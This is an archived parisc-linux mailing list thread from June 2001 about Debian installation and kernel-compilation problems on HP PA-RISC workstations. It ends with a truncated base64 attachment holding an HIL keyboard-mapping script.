X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:54 +0000 (UTC)
Cc: BOSCHINI@cilea.it
To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 07:35:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ICIL64.CILEA.IT (icil64.cilea.it [131.175.1.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6385482A
	for <PARISC-LINUX@LISTS.PARISC-LINUX.ORG>; Thu, 14 Jun 2001 07:35:41 -0600 (MDT)
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01K4REDVBTLC001R4D@ICIL64.CILEA.IT> for
 PARISC-LINUX@LISTS.PARISC-LINUX.ORG; Thu, 14 Jun 2001 15:35:08 MET-01DST
X-VMS-To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
X-VMS-Cc: BOSCHINI@CILEA.IT
Xref: news.gmane.org gmane.linux.ports.parisc:11341

Hello all, 

I changed HW, still 735 Apollo, and finally succeeded in going through the
first install. I got O.S. with no problem but had to do a

debootstrap sid /target file:/instmnt/debian from shell, since installtion
procedure seemed to hang (more than 1.5 hr).
Then I made the system bootbale and rebooted....

boot starts but then I get a "can not create tty4" and then 

modprobe: modprobe can't locate module char-mayor-4  

for many times. 

Then 
init respawning too rapidly 

and finally everything hangs.
Rebooted in single user. /etc/fstab empty.
Inserted /, swap and proc , rebooted, but / is mounted in read-only...
Still get 
INIT RESPAWNING TOO RAPIDLY....

any help ?

Already Thanking you, 

Matteo

 




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: problem installing on HP735
Date: Thu, 14 Jun 2001 14:45:08 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20010614144508.Z16532@linuxcare.com>
References: <01K4REDVBWF6001R4D@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620214 20815 80.91.229.3 (22 Nov 2014 01:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:54 +0000 (UTC)
Cc: PARISC-LINUX@LISTS.PARISC-LINUX.ORG, BOSCHINI@cilea.it
To: BOSCHINI@ICIL64.CILEA.IT
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 07:49:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BF19482A
	for <PARISC-LINUX@LISTS.PARISC-LINUX.ORG>; Thu, 14 Jun 2001 07:49:35 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9BA95B007; Thu, 14 Jun 2001 14:45:08 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01K4REDVBWF6001R4D@ICIL64.CILEA.IT>; from BOSCHINI@ICIL64.CILEA.IT on Thu, Jun 14, 2001 at 03:35:07PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:11342

On Thu, Jun 14, 2001 at 03:35:07PM +0000, BOSCHINI@ICIL64.CILEA.IT wrote:
> Hello all, 
> 
> I changed HW, still 735 Apollo, and finally succeeded in going through the
> first install. I got O.S. with no problem but had to do a
> 
> debootstrap sid /target file:/instmnt/debian from shell, since installtion
> procedure seemed to hang (more than 1.5 hr).
> Then I made the system bootbale and rebooted....

Maybe you should have done 'configure base system' before reboot.

> boot starts but then I get a "can not create tty4" and then 
> 
> modprobe: modprobe can't locate module char-mayor-4  
> 
> for many times. 
> 
> Then 
> init respawning too rapidly 
> 
> and finally everything hangs.
> Rebooted in single user. /etc/fstab empty.
> Inserted /, swap and proc , rebooted, but / is mounted in read-only...
> Still get 
> INIT RESPAWNING TOO RAPIDLY....
> 
> any help ?

There are two /etc/inittab files used in install, sounds like you
are still running the first one.

Reboot with init=/bin/sh
mount -o remount,rw /dev/???? /
cd /etc
mv inittab inittab.inst
mv inittab.real inittab
sync
mount -o remount,ro /dev/???? /

Power off/on, and try to boot again.  Might come up, might not.  If
it does, then "dpkg-reconfigure base-config" might let you run the
second half of the install.

The reason you had problems running the install properly is probably
because the 735 has a PCX-T cpu, which is known to have problems with
GLIBC 2.2.1.

Richard





From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simeon Walker <sim@sbs.bangor.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 16:15:41 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <3B28D51D.79DBF56@sbs.bangor.ac.uk>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620214 20816 80.91.229.3 (22 Nov 2014 01:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 09:15:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vogon.bangor.ac.uk (vogon.bangor.ac.uk [147.143.41.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DA14482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 09:15:42 -0600 (MDT)
Original-Received: from sbs.bangor.ac.uk (milliways.bangor.ac.uk [147.143.41.38])
	by vogon.bangor.ac.uk (8.9.3/8.9.3) with ESMTP id QAA22177
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 16:15:41 +0100
Original-Sender: sim@vogon.bangor.ac.uk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11343

Hi,
  I have just installed the from 0.9 ISO to a 712/80 (using the
sti kernel) and had the same problem. Modify the palo params and 
going into run level 1 works. I can then run all the services that
would have started at run level 2, it's actually the getty's
started by init that cause the crash.

I thought I'd try and compile my own kernel to see if that
had the same problem but have been unable to do so. First
I tried the apt-get'able kernel source and then I tried the
cvs version with the same problem. The error is:
   make: hppa-linux-gcc: Command not found
Is this because the kernel sources assume I'm cross compiling
whereas I'm actually trying to compile on the target machine
or am I missing some package? I've compiled kernels on 
debian x86 machines so I know what's usually required.

Any advice on either of these issues is appreciated

Regards,
Simeon

-- 
Simeon Walker,                      email: simeon@sbs.bangor.ac.uk
School of Biological Sciences,      phone: +44 (0)1248 383702
University of Wales, Bangor,        fax: +44 (0)1248 382569
Gwynedd, LL57 2UW, UK.              www: http://biology.bangor.ac.uk/




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 16:50:02 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010614165002.B1828@linuxcare.com>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> <3B28D51D.79DBF56@sbs.bangor.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620214 20818 80.91.229.3 (22 Nov 2014 01:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Simeon Walker <sim@sbs.bangor.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 09:54:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A9D3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 09:54:30 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 01D9CB007; Thu, 14 Jun 2001 16:50:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B28D51D.79DBF56@sbs.bangor.ac.uk>; from sim@sbs.bangor.ac.uk on Thu, Jun 14, 2001 at 04:15:41PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11344

On Thu, Jun 14, 2001 at 04:15:41PM +0100, Simeon Walker wrote:
> Hi,
>   I have just installed the from 0.9 ISO to a 712/80 (using the
> sti kernel) and had the same problem. Modify the palo params and 
> going into run level 1 works. I can then run all the services that
> would have started at run level 2, it's actually the getty's
> started by init that cause the crash.

Yes, it is fixed in our latest cvs source.

> I thought I'd try and compile my own kernel to see if that
> had the same problem but have been unable to do so. First
> I tried the apt-get'able kernel source and then I tried the
> cvs version with the same problem. The error is:
>    make: hppa-linux-gcc: Command not found
> Is this because the kernel sources assume I'm cross compiling
> whereas I'm actually trying to compile on the target machine
> or am I missing some package? I've compiled kernels on 
> debian x86 machines so I know what's usually required.

Yes, comes from arch/parisc/Makefile

CROSS_COMPILE := hppa-linux-

changing that to

CROSS_COMPILE :=

is one solution.  You do need to use our cvs kernel source at
the moment, we don't have parisc kernel patches in the archive
yet.

Richard





From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 17:16:02 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010614171602.A3364@parcelfarce.linux.theplanet.co.uk>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> <3B28D51D.79DBF56@sbs.bangor.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620215 20821 80.91.229.3 (22 Nov 2014 01:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Simeon Walker <sim@sbs.bangor.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 10:16:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE9A5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 10:16:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15AZms-0003EX-00; Thu, 14 Jun 2001 17:16:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B28D51D.79DBF56@sbs.bangor.ac.uk>; from sim@sbs.bangor.ac.uk on Thu, Jun 14, 2001 at 04:15:41PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11345

On Thu, Jun 14, 2001 at 04:15:41PM +0100, Simeon Walker wrote:
> I thought I'd try and compile my own kernel to see if that
> had the same problem but have been unable to do so. First
> I tried the apt-get'able kernel source

don't do that -- we're not merged upstream.  ditto, don't do it for glibc,
gcc or gdb.  binutils should be OK, but no promises -- see some of the
recent breakages we've had.

> and then I tried the
> cvs version with the same problem. The error is:
>    make: hppa-linux-gcc: Command not found
> Is this because the kernel sources assume I'm cross compiling

that's right.  we're considering changing this.  it's a one-line
change in any case -- edit arch/parisc/Makefile and change
`CROSS_COMPILE=hppa-linux-' to `CROSS_COMPILE='

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simeon Walker <simeon@sbs.bangor.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 17:23:03 +0100
Organization: University of Wales - Bangor
Lines: 54
Approved: news@gmane.org
Message-ID: <3B28E4E7.A5AD9150@sbs.bangor.ac.uk>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> <3B28D51D.79DBF56@sbs.bangor.ac.uk> <20010614165002.B1828@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620215 20824 80.91.229.3 (22 Nov 2014 01:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 10:23:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vogon.bangor.ac.uk (vogon.bangor.ac.uk [147.143.41.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0596F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 10:23:05 -0600 (MDT)
Original-Received: from sbs.bangor.ac.uk (milliways.bangor.ac.uk [147.143.41.38])
	by vogon.bangor.ac.uk (8.9.3/8.9.3) with ESMTP id RAA24525
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 17:23:03 +0100
Original-Sender: sim@vogon.bangor.ac.uk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11346

Richard Hirst wrote:
> 
> On Thu, Jun 14, 2001 at 04:15:41PM +0100, Simeon Walker wrote:
> > Hi,
> >   I have just installed the from 0.9 ISO to a 712/80 (using the
> > sti kernel) and had the same problem. Modify the palo params and
> > going into run level 1 works. I can then run all the services that
> > would have started at run level 2, it's actually the getty's
> > started by init that cause the crash.
> 
> Yes, it is fixed in our latest cvs source.
> 
Great, I've got that.

> > I thought I'd try and compile my own kernel to see if that
> > had the same problem but have been unable to do so. First
> > I tried the apt-get'able kernel source and then I tried the
> > cvs version with the same problem. The error is:
> >    make: hppa-linux-gcc: Command not found
> > Is this because the kernel sources assume I'm cross compiling
> > whereas I'm actually trying to compile on the target machine
> > or am I missing some package? I've compiled kernels on
> > debian x86 machines so I know what's usually required.
> 
> Yes, comes from arch/parisc/Makefile
> 
> CROSS_COMPILE := hppa-linux-
> 
> changing that to
> 
> CROSS_COMPILE :=
> 
Ahhhh!

> is one solution.  You do need to use our cvs kernel source at
> the moment, we don't have parisc kernel patches in the archive
> yet.
> 
> Richard

I'm compiling the kernel now so I'll see how it goes. It
certainly compiles slowly on this 712/80...

Thanks,
Simeon

-- 
Simeon Walker,                      email: simeon@sbs.bangor.ac.uk
School of Biological Sciences,      phone: +44 (0)1248 383702
University of Wales, Bangor,        fax: +44 (0)1248 382569
Gwynedd, LL57 2UW, UK.              www: http://biology.bangor.ac.uk/




From - Thu Nov 08 21:18:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simeon Walker <simeon@sbs.bangor.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 17:24:42 +0100
Organization: University of Wales - Bangor
Lines: 25
Approved: news@gmane.org
Message-ID: <3B28E54A.5BE2C413@sbs.bangor.ac.uk>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> <3B28D51D.79DBF56@sbs.bangor.ac.uk> <20010614171602.A3364@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620216 20826 80.91.229.3 (22 Nov 2014 01:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:56 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 10:24:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vogon.bangor.ac.uk (vogon.bangor.ac.uk [147.143.41.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0144482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 10:24:43 -0600 (MDT)
Original-Received: from sbs.bangor.ac.uk (milliways.bangor.ac.uk [147.143.41.38])
	by vogon.bangor.ac.uk (8.9.3/8.9.3) with ESMTP id RAA24649
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 17:24:42 +0100
Original-Sender: sim@vogon.bangor.ac.uk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11347

Matthew Wilcox wrote:
> 
> On Thu, Jun 14, 2001 at 04:15:41PM +0100, Simeon Walker wrote:
> > I thought I'd try and compile my own kernel to see if that
> > had the same problem but have been unable to do so. First
> > I tried the apt-get'able kernel source
> 
> don't do that -- we're not merged upstream.  ditto, don't do it for glibc,
> gcc or gdb.  binutils should be OK, but no promises -- see some of the
> recent breakages we've had.
> 
so I guess an apt-get upgrade is not such a good thing at this 
point in time?

Thanks for the advice,
Simeon

-- 
Simeon Walker,                      email: simeon@sbs.bangor.ac.uk
School of Biological Sciences,      phone: +44 (0)1248 383702
University of Wales, Bangor,        fax: +44 (0)1248 382569
Gwynedd, LL57 2UW, UK.              www: http://biology.bangor.ac.uk/




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 10:37:14 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20010614163714.26FEF37EFD@carmen.fc.hp.com>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> 
 <3B28D51D.79DBF56@sbs.bangor.ac.uk> <20010614171602.A3364@parcelfarce.linux.theplanet.co.uk>  <3B28E54A.5BE2C413@sbs.bangor.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620216 20828 80.91.229.3 (22 Nov 2014 01:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Simeon Walker <simeon@sbs.bangor.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 10:34:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39A96482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 10:34:32 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 439D5397; Thu, 14 Jun 2001 12:34:31 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 26FEF37EFD; Thu, 14 Jun 2001 10:37:14 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Thu, 14 Jun 2001 17:24:42 BST."
             <3B28E54A.5BE2C413@sbs.bangor.ac.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11348

Simeon Walker writes...

> Matthew Wilcox wrote:
> > 
> > On Thu, Jun 14, 2001 at 04:15:41PM +0100, Simeon Walker wrote:
> > > I thought I'd try and compile my own kernel to see if that
> > > had the same problem but have been unable to do so. First
> > > I tried the apt-get'able kernel source
> > 
> > don't do that -- we're not merged upstream.  ditto, don't do it for glibc,
> > gcc or gdb.  binutils should be OK, but no promises -- see some of the
> > recent breakages we've had.
> > 
> so I guess an apt-get upgrade is not such a good thing at this 
> point in time?

No, an apt-get upgrade should be fine. For packages where we differ from 
upstream one of the three cases apply,

1.) the hppa-linux changes have been integrated into the Debian package
2.) a special hppa only deb has been done(which may not be in the archive)
3.) that package doesn't exist in the Debian archive yet

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Thu, 14 Jun 2001 17:40:28 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010614174028.B3364@parcelfarce.linux.theplanet.co.uk>
References: <md5:24CD73579DAE676AC9847A2AA7C80BD3> <3B28D51D.79DBF56@sbs.bangor.ac.uk> <20010614171602.A3364@parcelfarce.linux.theplanet.co.uk> <3B28E54A.5BE2C413@sbs.bangor.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620216 20830 80.91.229.3 (22 Nov 2014 01:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:56 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Simeon Walker <simeon@sbs.bangor.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 10:40:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3C9E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Jun 2001 10:40:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15AaAW-0003vc-00; Thu, 14 Jun 2001 17:40:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B28E54A.5BE2C413@sbs.bangor.ac.uk>; from simeon@sbs.bangor.ac.uk on Thu, Jun 14, 2001 at 05:24:42PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11349

On Thu, Jun 14, 2001 at 05:24:42PM +0100, Simeon Walker wrote:
> so I guess an apt-get upgrade is not such a good thing at this 
> point in time?

Oh, no, that's fine.  Packages don't get uploaded for hppa until they
work.  So, for example, right now, there is no gdb in the debian archive,
only on puffin.external.hp.com until we get it integrated.  glibc 2.2.3-6
has been released, but in't compiled for hppa yet, so you won't get it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL Keyboard mapping skript
Date: Thu, 14 Jun 2001 20:58:14 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20010614185852.50B91483F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_2POXUQX5IH8IL2UYR6ZV"
X-Trace: ger.gmane.org 1416620217 20834 80.91.229.3 (22 Nov 2014 01:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 14 12:58:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 50B91483F
	for <parisc-linux@parisc-linux.org>; Thu, 14 Jun 2001 12:58:52 -0600 (MDT)
Original-Received: (qmail 22364 invoked by uid 0); 14 Jun 2001 18:58:50 -0000
Original-Received: from pd9040219.dip.t-dialin.net (HELO there) (217.4.2.25)
  by mail.gmx.net (mail08) with SMTP; 14 Jun 2001 18:58:50 -0000
X-Mailer: KMail [version 1.2.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11350

--------------Boundary-00=_2POXUQX5IH8IL2UYR6ZV
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Subject: 

Hi,

for those of you who have a HIL keyboard attached to their systems (like on 
my 715/64) and use the STI kernel the following keyboard mapping could be 
interesting.
It allows you to switch to the virtual consoles via Alt-F1 to Alt-F7 and 
Alt-Left/Right the same way as you do it currently on your Intel-machine. 
More than that it also takes out some of the most ugly keyboard mappings 
which normally belong to HP PS/2 keyboards and does a bad thing on HIL.

BTW: 
- You will need to recompile yourself a new kernel to use virtual consoles...
- It's not complete and doesn't cover all keys. Esp. german umlauts and that 
like won't be fixed with this script.

Greetings,
Helge

--------------Boundary-00=_2POXUQX5IH8IL2UYR6ZV
Content-Type: application/x-shellscript;
  name="keycodes.sh"
Content-Transfer-Encoding: base64
Content-Description: HIL keyboard mapping shell-script
Content-Disposition: attachment; filename="keycodes.sh"

IyEvYmluL2Jhc2gKIyBISUwga2V5Ym9hcmQgbWFwcGluZwojIGJ5IEhlbGdlIERlbGxlciA8ZGVs
bGVyQGdteC5kZT4KCmxvYWRrZXlzIC0gPDwgRU9GCmtleWNvZGUgICAyID0gQWx0R3IJCSMgUmln
aHQtYWx0CmtleWNvZGUgICAzID0gQWx0CQkjIExlZnQtYWx0CmtleWNvZGUgICA0ID0gU2hpZnQJ
CSMgUmlnaHQtc2hpZnQKa2V5Y29kZSAgIDUgPSBTaGlmdAkJIyBMZWZ0LXNoaWZ0CmtleWNvZGUg
ICA2ID0gQ29udHJvbAoKa2V5Y29kZSAgMTUgPSBLUF9NdWx0aXBseQoJc2hpZnQgICBrZXljb2Rl
ICAxNSA9IE51bV9Mb2NrCSMgU2hpZnQgLSAiKiIgVGFzdGUKa2V5Y29kZSAgMTYgPSBLUF8xCiAg
ICAgICAgYWx0Z3IgICBrZXljb2RlICAxNiA9IEhleF8xCiAgICAgICAgYWx0ICAgICBrZXljb2Rl
ICAxNiA9IEFzY2lpXzEKa2V5Y29kZSAgMjIgPSBLUF8wCiAgICAgICAgYWx0Z3IgICBrZXljb2Rl
ICAyMiA9IEhleF8wCiAgICAgICAgYWx0ICAgICBrZXljb2RlICAyMiA9IEFzY2lpXzAKa2V5Y29k
ZSAgMzEgPSBFc2NhcGUKCXNoaWZ0IGtleWNvZGUgMzEgPSBNZXRhX0RlbGV0ZQprZXljb2RlICA0
NyA9IENhcHNfTG9jayBDYXBzX0xvY2sgQ2Fwc19Mb2NrIENhcHNfTG9jayBDYXBzX0xvY2sgQ2Fw
c19Mb2NrCmtleWNvZGUgIDU1ID0gVGFiICAgICAgICAgICAgICBUYWIKICAgICAgICBhbHQgICAg
IGtleWNvZGUgIDU1ID0gTWV0YV9UYWIKICAgICAgICBzaGlmdCAgIGFsdCAgICAga2V5Y29kZSAg
NTUgPSBNZXRhX1RhYgprZXljb2RlIDc2ID0gRjEKYWx0IGtleWNvZGUgNzYgPSBDb25zb2xlXzEK
a2V5Y29kZSA3NSA9IEYyCmFsdCBrZXljb2RlIDc1ID0gQ29uc29sZV8yCmtleWNvZGUgNzQgPSBG
